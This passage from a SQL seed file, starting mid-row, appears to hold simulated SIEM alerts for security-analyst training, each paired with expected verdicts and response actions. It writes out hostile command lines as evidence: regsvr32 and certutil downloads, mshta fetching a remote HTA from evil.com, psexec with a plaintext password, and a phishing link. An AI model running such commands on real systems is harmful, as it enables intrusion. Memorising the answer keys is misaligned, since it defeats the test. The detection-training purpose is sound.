NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.159Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.25\\\",\\\"hostname\\\":\\\"MAINTENANCE-PC-01\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://internal-server.com/update.dll scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.159Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.25\\\",\\\"hostname\\\":\\\"MAINTENANCE-PC-01\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://internal-server.com/update.dll scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.159Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.25\\\",\\\"hostname\\\":\\\"MAINTENANCE-PC-01\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://internal-server.com/update.dll scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.159Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.25\\\",\\\"hostname\\\":\\\"MAINTENANCE-PC-01\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://internal-server.com/update.dll scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.159Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.25\\\",\\\"hostname\\\":\\\"MAINTENANCE-PC-01\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://internal-server.com/update.dll scrobj.dll\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1749, 'APT41 Exploitation Using CertUtil for C2 Communication', 'critical', 'MISP', 'Detected APT41 activity leveraging CertUtil to download a payload from a remote server. The command was executed on an internal host.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:25:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.10.15\",\"dst_ip\":\"203.0.113.99\",\"username\":\"jdoe\",\"hostname\":\"corp-pc-01\",\"command_line\":\"certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\\\\Temp\\\\payload.exe\"}', '2026-03-15 19:53:09', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 123 times for hosting malware\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\\\\Temp\\\\payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"CertUtil abuse detected for downloading malicious payloads\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"APT41 known for exploiting CertUtil to download and execute malicious payloads on targeted hosts.\"}', 'Advanced', 'TI', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.161Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-pc-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\\\\\\\\Temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.161Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-pc-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\\\\\\\\Temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.161Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-pc-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\\\\\\\\Temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.161Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-pc-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\\\\\\\\Temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.161Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-pc-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\\\\\\\\Temp\\\\\\\\payload.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1750, 'Lazarus Group Lateral Movement via PSExec', 'high', 'ThreatConnect', 'Suspected Lazarus Group activity detected using PSExec for lateral movement within the network targeting multiple hosts.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:14:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.20\",\"username\":\"admin\",\"hostname\":\"server-01\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.20 -u admin -p password cmd.exe\"}', '2026-03-15 19:53:09', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in lateral movement attempt\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.20 -u admin -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PSExec usage consistent with lateral movement techniques\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec used for unauthorized command execution across the network, indicating lateral movement.\"}', 'Advanced', 'TI', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.176Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.176Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.176Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.176Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.176Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1751, 'Cozy Bear Spear-Phishing Attempt with Malicious Link', 'high', 'Anomali', 'A spear-phishing email sent by Cozy Bear containing a malicious link was detected. The email was targeted towards a high-profile user.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:45:10Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.5.25\",\"username\":\"ceo@company.com\",\"hostname\":\"ceo-pc\",\"email_sender\":\"alerts@secure-mail.com\",\"request_body\":\"Click here to view your secure message: http://malicious-link.com\"}', '2026-03-15 19:53:09', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://malicious-link.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosts phishing page replicating a secure login prompt\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"alerts@secure-mail.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Email address associated with multiple phishing campaigns\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a malicious link disguised as a secure message, typical of Cozy Bear phishing tactics.\"}', 'Advanced', 'TI', 7, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:10Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.5.25\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"ceo-pc\\\",\\\"email_sender\\\":\\\"alerts@secure-mail.com\\\",\\\"request_body\\\":\\\"Click here to view your secure message: http://malicious-link.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:10Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.5.25\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"ceo-pc\\\",\\\"email_sender\\\":\\\"alerts@secure-mail.com\\\",\\\"request_body\\\":\\\"Click here to view your secure message: http://malicious-link.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:10Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.5.25\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"ceo-pc\\\",\\\"email_sender\\\":\\\"alerts@secure-mail.com\\\",\\\"request_body\\\":\\\"Click here to view your secure message: http://malicious-link.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:10Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.5.25\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"ceo-pc\\\",\\\"email_sender\\\":\\\"alerts@secure-mail.com\\\",\\\"request_body\\\":\\\"Click here to view your secure message: http://malicious-link.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:10Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.5.25\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"ceo-pc\\\",\\\"email_sender\\\":\\\"alerts@secure-mail.com\\\",\\\"request_body\\\":\\\"Click here to view your secure message: http://malicious-link.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1752, 'Fancy Bear Data Exfiltration via GitHub', 'critical', 'Recorded Future', 'Anomalous data transfer to a GitHub repository suspected to be used by Fancy Bear for exfiltrating sensitive data.', 'Data Exfil', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.200.5\",\"dst_ip\":\"140.82.112.3\",\"username\":\"analytics\",\"hostname\":\"data-node-07\",\"request_body\":\"POST /repos/fancybear/exfil.git\"}', '2026-03-15 19:53:09', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"140.82.112.3\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"GitHub IP associated with suspicious repositories\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"POST /repos/fancybear/exfil.git\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Suspicious POST request to GitHub repository\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer to a GitHub repository aligns with known Fancy Bear data exfiltration methods.\"}', 'Advanced', 'TI', 7, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.200.5\\\",\\\"dst_ip\\\":\\\"140.82.112.3\\\",\\\"username\\\":\\\"analytics\\\",\\\"hostname\\\":\\\"data-node-07\\\",\\\"request_body\\\":\\\"POST /repos/fancybear/exfil.git\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.200.5\\\",\\\"dst_ip\\\":\\\"140.82.112.3\\\",\\\"username\\\":\\\"analytics\\\",\\\"hostname\\\":\\\"data-node-07\\\",\\\"request_body\\\":\\\"POST /repos/fancybear/exfil.git\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.200.5\\\",\\\"dst_ip\\\":\\\"140.82.112.3\\\",\\\"username\\\":\\\"analytics\\\",\\\"hostname\\\":\\\"data-node-07\\\",\\\"request_body\\\":\\\"POST /repos/fancybear/exfil.git\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.200.5\\\",\\\"dst_ip\\\":\\\"140.82.112.3\\\",\\\"username\\\":\\\"analytics\\\",\\\"hostname\\\":\\\"data-node-07\\\",\\\"request_body\\\":\\\"POST /repos/fancybear/exfil.git\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.200.5\\\",\\\"dst_ip\\\":\\\"140.82.112.3\\\",\\\"username\\\":\\\"analytics\\\",\\\"hostname\\\":\\\"data-node-07\\\",\\\"request_body\\\":\\\"POST /repos/fancybear/exfil.git\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1753, 'APT41 Zero-Day Exploitation via MSHTA', 'critical', 'MISP', 'APT41 was observed using a zero-day vulnerability with MSHTA to execute malicious scripts remotely.', 'Malware', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.30.15\",\"dst_ip\":\"203.0.113.100\",\"username\":\"mark\",\"hostname\":\"workstation-10\",\"command_line\":\"mshta.exe http://evil.com/malicious.hta\"}', '2026-03-15 19:53:09', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to distribution of malicious HTA scripts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"mshta.exe http://evil.com/malicious.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"MSHTA used to execute remote malicious scripts\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"APT41 known for leveraging MSHTA in zero-day attacks for remote code execution.\"}', 'Advanced', 'TI', 7, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.30.15\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"mark\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"mshta.exe http://evil.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.30.15\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"mark\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"mshta.exe http://evil.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.30.15\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"mark\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"mshta.exe http://evil.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.30.15\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"mark\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"mshta.exe http://evil.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.30.15\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"mark\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"mshta.exe http://evil.com/malicious.hta\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1754, 'Suspicious PowerShell Activity with Encoded Commands', 'medium', 'ThreatConnect', 'Detected PowerShell execution with encoded commands indicative of possible obfuscation, but analysis shows benign activity.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:42:17Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.50.30\",\"dst_ip\":\"N/A\",\"username\":\"admin\",\"hostname\":\"server-12\",\"command_line\":\"powershell.exe -enc SQBTAFQAZwBlAHQALQBXAEkAbgBkAG8AdwAgAEEAZABkAGkAdABpAG8AbgBhAGwAIAAtAFQAbwBkAGEAeQApAA==\"}', '2026-03-15 19:53:09', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc SQBTAFQAZwBlAHQALQBXAEkAbgBkAG8AdwAgAEEAZABkAGkAdABpAG8AbgBhAGwAIAAtAFQAbwBkAGEAeQApAA==\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Encoded PowerShell command decoded to benign administrative script\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command was found to be a legitimate administrative script.\"}', 'Advanced', 'TI', 7, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:42:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.30\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-12\\\",\\\"command_line\\\":\\\"powershell.exe -enc SQBTAFQAZwBlAHQALQBXAEkAbgBkAG8AdwAgAEEAZABkAGkAdABpAG8AbgBhAGwAIAAtAFQAbwBkAGEAeQApAA==\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 